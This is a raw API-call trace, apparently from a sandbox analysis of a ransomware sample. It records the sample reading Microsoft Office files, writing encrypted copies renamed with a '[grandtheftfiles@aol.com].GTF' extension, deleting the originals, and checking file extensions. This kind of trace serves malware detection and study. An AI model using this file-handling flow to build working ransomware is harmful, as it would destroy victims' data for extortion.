	[0077.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0077.833] GetLastError () returned 0x0
	[0077.833] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.880] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.882] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.882] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.882] SetEndOfFile (hFile=0x384) returned 1
	[0077.882] CloseHandle (hObject=0x384) returned 1
	[0077.883] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.883] SetEndOfFile (hFile=0x380) returned 1
	[0077.884] CloseHandle (hObject=0x380) returned 1
	[0077.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.884] lstrlenW (lpString=".doc") returned 4
	[0077.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.884] lstrlenW (lpString=".docx") returned 5
	[0077.884] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.884] lstrlenW (lpString=".pdf") returned 4
	[0077.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString=".xls") returned 4
	[0077.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString=".xlsx") returned 5
	[0077.885] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.885] lstrlenW (lpString=".ppt") returned 4
	[0077.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.885] lstrlenW (lpString=".zip") returned 4
	[0077.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.885] lstrlenW (lpString=".rar") returned 4
	[0077.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString=".bz2") returned 4
	[0077.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString=".7z") returned 3
	[0077.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.885] lstrlenW (lpString=".dbf") returned 4
	[0077.885] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.885] lstrlenW (lpString=".1cd") returned 4
	[0077.885] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.885] lstrlenW (lpString=".jpg") returned 4
	[0077.885] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.885] lstrlenW (lpString=".doc") returned 4
	[0077.885] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString=".docx") returned 5
	[0077.885] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.885] lstrlenW (lpString=".pdf") returned 4
	[0077.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString=".xls") returned 4
	[0077.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.885] lstrlenW (lpString=".xlsx") returned 5
	[0077.886] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.886] lstrlenW (lpString=".ppt") returned 4
	[0077.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.886] lstrlenW (lpString=".zip") returned 4
	[0077.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.886] lstrlenW (lpString=".rar") returned 4
	[0077.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.886] lstrlenW (lpString=".bz2") returned 4
	[0077.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.886] lstrlenW (lpString=".7z") returned 3
	[0077.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.886] lstrlenW (lpString=".dbf") returned 4
	[0077.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.886] lstrlenW (lpString=".1cd") returned 4
	[0077.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0077.886] lstrlenW (lpString=".jpg") returned 4
	[0077.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.886] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.886] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53
	[0077.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.887] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1261) returned 1
	[0077.887] CloseHandle (hObject=0x380) returned 1
	[0077.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.887] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.887] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0077.887] GetLastError () returned 0x0
	[0077.887] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.288] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.412] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.412] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.412] SetEndOfFile (hFile=0x384) returned 1
	[0078.412] CloseHandle (hObject=0x384) returned 1
	[0078.413] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.413] SetEndOfFile (hFile=0x380) returned 1
	[0078.414] CloseHandle (hObject=0x380) returned 1
	[0078.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.415] lstrlenW (lpString=".doc") returned 4
	[0078.415] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.415] lstrlenW (lpString=".docx") returned 5
	[0078.415] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.415] lstrlenW (lpString=".pdf") returned 4
	[0078.415] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.415] lstrlenW (lpString=".xls") returned 4
	[0078.415] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.415] lstrlenW (lpString=".xlsx") returned 5
	[0078.415] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.415] lstrlenW (lpString=".ppt") returned 4
	[0078.415] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.415] lstrlenW (lpString=".zip") returned 4
	[0078.415] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.415] lstrlenW (lpString=".rar") returned 4
	[0078.415] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.415] lstrlenW (lpString=".bz2") returned 4
	[0078.415] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.415] lstrlenW (lpString=".7z") returned 3
	[0078.415] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.415] lstrlenW (lpString=".dbf") returned 4
	[0078.416] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.416] lstrlenW (lpString=".1cd") returned 4
	[0078.416] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.416] lstrlenW (lpString=".jpg") returned 4
	[0078.416] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.416] lstrlenW (lpString=".doc") returned 4
	[0078.416] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString=".docx") returned 5
	[0078.416] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.416] lstrlenW (lpString=".pdf") returned 4
	[0078.416] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString=".xls") returned 4
	[0078.416] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString=".xlsx") returned 5
	[0078.416] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.416] lstrlenW (lpString=".ppt") returned 4
	[0078.416] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.416] lstrlenW (lpString=".zip") returned 4
	[0078.416] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.416] lstrlenW (lpString=".rar") returned 4
	[0078.416] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString=".bz2") returned 4
	[0078.416] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString=".7z") returned 3
	[0078.416] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.416] lstrlenW (lpString=".dbf") returned 4
	[0078.416] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.417] lstrlenW (lpString=".1cd") returned 4
	[0078.417] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0078.417] lstrlenW (lpString=".jpg") returned 4
	[0078.417] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.417] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.417] lstrlenW (lpString="AG00092_.GIF") returned 12
	[0078.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.418] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=502) returned 1
	[0078.418] CloseHandle (hObject=0x380) returned 1
	[0078.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220
	[0078.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.418] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.418] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.419] GetLastError () returned 0x0
	[0078.419] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1f6, lpOverlapped=0x0) returned 1
	[0078.420] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x200, lpOverlapped=0x0) returned 1
	[0078.421] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.421] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.422] SetEndOfFile (hFile=0x384) returned 1
	[0078.422] CloseHandle (hObject=0x384) returned 1
	[0078.423] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.423] SetEndOfFile (hFile=0x380) returned 1
	[0078.424] CloseHandle (hObject=0x380) returned 1
	[0078.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1
	[0078.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.424] lstrlenW (lpString=".doc") returned 4
	[0078.424] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.424] lstrlenW (lpString=".docx") returned 5
	[0078.424] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.424] lstrlenW (lpString=".pdf") returned 4
	[0078.425] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.425] lstrlenW (lpString=".xls") returned 4
	[0078.425] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.425] lstrlenW (lpString=".xlsx") returned 5
	[0078.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.425] lstrlenW (lpString=".ppt") returned 4
	[0078.425] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.425] lstrlenW (lpString=".zip") returned 4
	[0078.425] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.425] lstrlenW (lpString=".rar") returned 4
	[0078.425] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.425] lstrlenW (lpString=".bz2") returned 4
	[0078.425] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.425] lstrlenW (lpString=".7z") returned 3
	[0078.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.425] lstrlenW (lpString=".dbf") returned 4
	[0078.425] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.425] lstrlenW (lpString=".1cd") returned 4
	[0078.425] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.425] lstrlenW (lpString=".jpg") returned 4
	[0078.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.425] lstrlenW (lpString=".doc") returned 4
	[0078.425] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.425] lstrlenW (lpString=".docx") returned 5
	[0078.425] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.425] lstrlenW (lpString=".pdf") returned 4
	[0078.425] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.425] lstrlenW (lpString=".xls") returned 4
	[0078.425] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.426] lstrlenW (lpString=".xlsx") returned 5
	[0078.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.426] lstrlenW (lpString=".ppt") returned 4
	[0078.426] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.426] lstrlenW (lpString=".zip") returned 4
	[0078.426] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.426] lstrlenW (lpString=".rar") returned 4
	[0078.426] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.426] lstrlenW (lpString=".bz2") returned 4
	[0078.426] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.426] lstrlenW (lpString=".7z") returned 3
	[0078.426] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.426] lstrlenW (lpString=".dbf") returned 4
	[0078.426] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.426] lstrlenW (lpString=".1cd") returned 4
	[0078.426] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0078.426] lstrlenW (lpString=".jpg") returned 4
	[0078.426] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.426] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.426] lstrlenW (lpString="AG00103_.GIF") returned 12
	[0078.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.427] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=12702) returned 1
	[0078.427] CloseHandle (hObject=0x380) returned 1
	[0078.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220
